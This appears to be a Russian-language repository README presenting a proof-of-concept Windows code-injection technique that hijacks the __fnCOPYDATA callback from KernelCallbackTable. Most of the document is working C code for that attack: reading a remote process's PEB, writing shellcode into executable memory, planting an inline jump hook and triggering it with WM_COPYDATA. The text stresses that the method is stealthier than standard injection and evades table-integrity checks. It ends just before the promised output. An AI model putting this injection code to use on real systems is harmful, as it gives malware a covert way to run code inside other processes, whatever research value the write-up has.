
Злоупотребление механизмом обратных вызовов ядра win32k.sys для выполнения произвольного кода
Этот репозиторий предоставлен строго в образовательных и исследовательских целях, связанных с защитой.
В нём демонстрируются внутренние механизмы диспетчеризации обратных вызовов Windows и концепции управления потоком выполнения, связанные с KernelCallbackTable, в контексте proof-of-concept.
Автор не несёт ответственности за неправомерное использование.
Эта техника инъекции злоупотребляет путём диспетчеризации обратных вызовов из ядра в пользовательский режим, используемым графической подсистемой Windows (win32k.sys), для получения выполнения кода в удалённом процессе. Обнаружив KernelCallbackTable через целевого процесса, оператор может перечислить записи обратных вызовов и определить легитимные процедуры пользовательского режима, вызываемые при связанных с GUI переходах из ядра.
Process Environment Block (PEB)Вместо традиционной KernelCallbackTable Injection, когда запись таблицы обратных вызовов перезаписывается напрямую адресом шеллкода, этот вариант перехватывает легитимную цель обратного вызова, на которую ссылается таблица, и перенаправляет выполнение на управляемый атакующим шеллкод при вызове. Поскольку выполнение перехватывается через существующий и ожидаемый путь обратных вызовов, данная техника может служить более скрытной альтернативой более традиционным примитивам, таким как создание удалённого потока или APC-based injection.
Графическая подсистема Windows делегирует часть обработки, связанной с GUI, в пользовательский режим через механизм обратных вызовов, инициируемый из режима ядра. Когда win32k.sys требует выполнения логики в контексте GUI-процесса, он вызывает KeUserModeCallback, чтобы выполнить контролируемый переход из режима ядра в пользовательский режим, сохраняя границу изоляции между обоими контекстами выполнения.
Этот переход устанавливает легитимный путь выполнения, через который ядро диспетчеризует обратные вызовы графической подсистемы в пользовательский режим, — тот же путь, которым впоследствии злоупотребляет представленная техника.
После завершения перехода выполнение попадает в KiUserCallbackDispatcher — процедуру из ntdll.dll, отвечающую за получение индекса обратного вызова, переданного ядром, и передачу управления соответствующему обработчику в пользовательском режиме. Эта процедура служит обязательной точкой входа для всех обратных вызовов, инициированных через KeUserModeCallback.
Поскольку разрешение всех обратных вызовов сходится в этом диспетчере, KiUserCallbackDispatcher выступает центральным связующим звеном между запросами обратных вызовов ядра и их последующим выполнением в пользовательском режиме.
Чтобы определить адрес назначения запрошенного обратного вызова, KiUserCallbackDispatcher обращается к KernelCallbackTable, хранящейся в PEB целевого процесса. Каждая запись таблицы содержит указатель на процедуру обратного вызова пользовательского режима, связанную с конкретной операцией графической подсистемы, как правило реализованную в user32.dll.
Традиционные техники KernelCallbackTable Injection напрямую перезаписывают одну или несколько таких записей, чтобы перенаправить выполнение. Несмотря на эффективность, изменение самой таблицы создаёт структурные аномалии, которые могут быть легко обнаружены при проверке целостности PEB или содержимого таблицы обратных вызовов. Представленная техника избегает этого, сохраняя структуру таблицы и вместо этого перехватывая (детуря) цель обратного вызова, на которую ссылается запись.
Среди доступных записей KernelCallbackTable __fnCOPYDATA предоставляет особенно удобный примитив запуска, поскольку его можно вызвать извне, отправив сообщение WM_COPYDATA через SendMessage(). Это позволяет детерминированно запускать обратный вызов без необходимости в особом состоянии процесса или сложном взаимодействии.
Используя естественно доступную и часто используемую цель обратного вызова, техника получает надёжный примитив выполнения, оставаясь при этом полностью в рамках ожидаемой цепочки диспетчеризации обратных вызовов до момента перенаправления.

Техника начинается с поиска целевого процесса и чтения его PEB для получения адреса KernelCallbackTable, из которой извлекается указатель обратного вызова для __fnCOPYDATA. Затем в удалённом процессе выделяется исполняемая память, и в выделенную область записывается управляемый атакующим шеллкод. До внесения изменений исходные байты легитимной процедуры обратного вызова сохраняются для последующего восстановления.
Затем в начало разрешённой процедуры __fnCOPYDATA устанавливается инлайн-хук, заменяющий её пролог абсолютным переходом на внедрённый шеллкод. Для запуска выполнения на целевое окно отправляется сообщение WM_COPYDATA, в результате чего графическая подсистема Windows диспетчеризует __fnCOPYDATA через стандартную цепочку обратных вызовов из ядра в пользовательский режим. После завершения выполнения исходные байты процедуры обратного вызова восстанавливаются для сохранения стабильности процесса и уменьшения остаточных следов модификации.
KernelCallbackTable расположена по смещению 0x58 внутри PEB:

Для её получения используется следующая логика:
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
NtClose(hProcess);
return 1;
}
/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
Код начинается с вызова NtQueryInformationProcess с информационным классом ProcessBasicInformation для заполнения структуры PROCESS_BASIC_INFORMATION, которая предоставляет адрес PEB удалённого процесса через поле PebBaseAddress.
Затем с помощью NtReadVirtualMemory удалённый PEB считывается в локальную структуру PEB, что позволяет извлечь указатель на KernelCallbackTable, хранящийся в окружении процесса. После проверки наличия таблицы обратных вызовов второй вызов NtReadVirtualMemory копирует удалённую структуру KERNELCALLBACKTABLE в локальную память, обеспечивая прямое разрешение целей обратных вызовов, таких как __fnCOPYDATA, для последующего детура.

PVOID remoteShellcodeAddr = NULL;
SIZE_T shellcodeSize = sizeof(g_CalcSh);
if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {
printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);
NtAllocateVirtualMemory резервирует исполняемую память внутри удалённого процесса и возвращает её базовый адрес через remoteShellcodeAddr. Размер выделения определяется длиной буфера шеллкода.
NtWriteVirtualMemory затем копирует шеллкод в выделенную область, размещая полезную нагрузку в целевом процессе для последующего выполнения через детур обратного вызова.
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;
return 1;
}
InitializeHookRemote подготавливает удалённую цель обратного вызова к детуру, сохраняя адреса исходной функции и функции-детура в структуре INLINEHOOKTABLE. Она сохраняет исходный пролог процедуры обратного вызова, считывая первые байты целевой процедуры через NtReadVirtualMemory, затем изменяет защиту этого региона на PAGE_EXECUTE_READWRITE с помощью NtProtectVirtualMemory, чтобы его можно было безопасно пропатчить.
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}
InstallHookRemote создаёт абсолютный x64-трамплин перехода (mov r10, <detour>; jmp r10), перенаправляющий выполнение на внедрённый шеллкод. Затем трамплин записывается в начало целевой процедуры обратного вызова через NtWriteVirtualMemory, что фактически устанавливает инлайн-хук.
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}
RemoveHookRemote восстанавливает исходную процедуру обратного вызова, записывая обратно сохранённые байты пролога, хранящиеся в структуре INLINEHOOKTABLE. Затем она восстанавливает исходные атрибуты защиты памяти пропатченного региона с помощью NtProtectVirtualMemory, удаляя инлайн-хук и возвращая цель обратного вызова в исходное состояние.
INLINEHOOKTABLE FnCopyDataHook = { 0 };
if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
if (InstallHookRemote(hProcess, &FnCopyDataHook)) {
printf("[>] Triggering WM_COPYDATA callback...\n");
COPYDATASTRUCT cds = {
1,
(DWORD)wcslen(msg) * sizeof(WCHAR),
msg
};
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
RemoveHookRemote(hProcess, &FnCopyDataHook);
}
}
Для запуска выполнения на целевое окно отправляется сообщение WM_COPYDATA через SendMessageW, что заставляет диспетчер обратных вызовов Windows вызвать перехваченную процедуру __fnCOPYDATA через обычный путь обратных вызовов из ядра в пользовательский режим. После завершения выполнения RemoveHookRemote восстанавливает исходные байты процедуры обратного вызова для сохранения стабильности процесса.
После реализации логики proof of concept можно запустить и получить следующий результат:
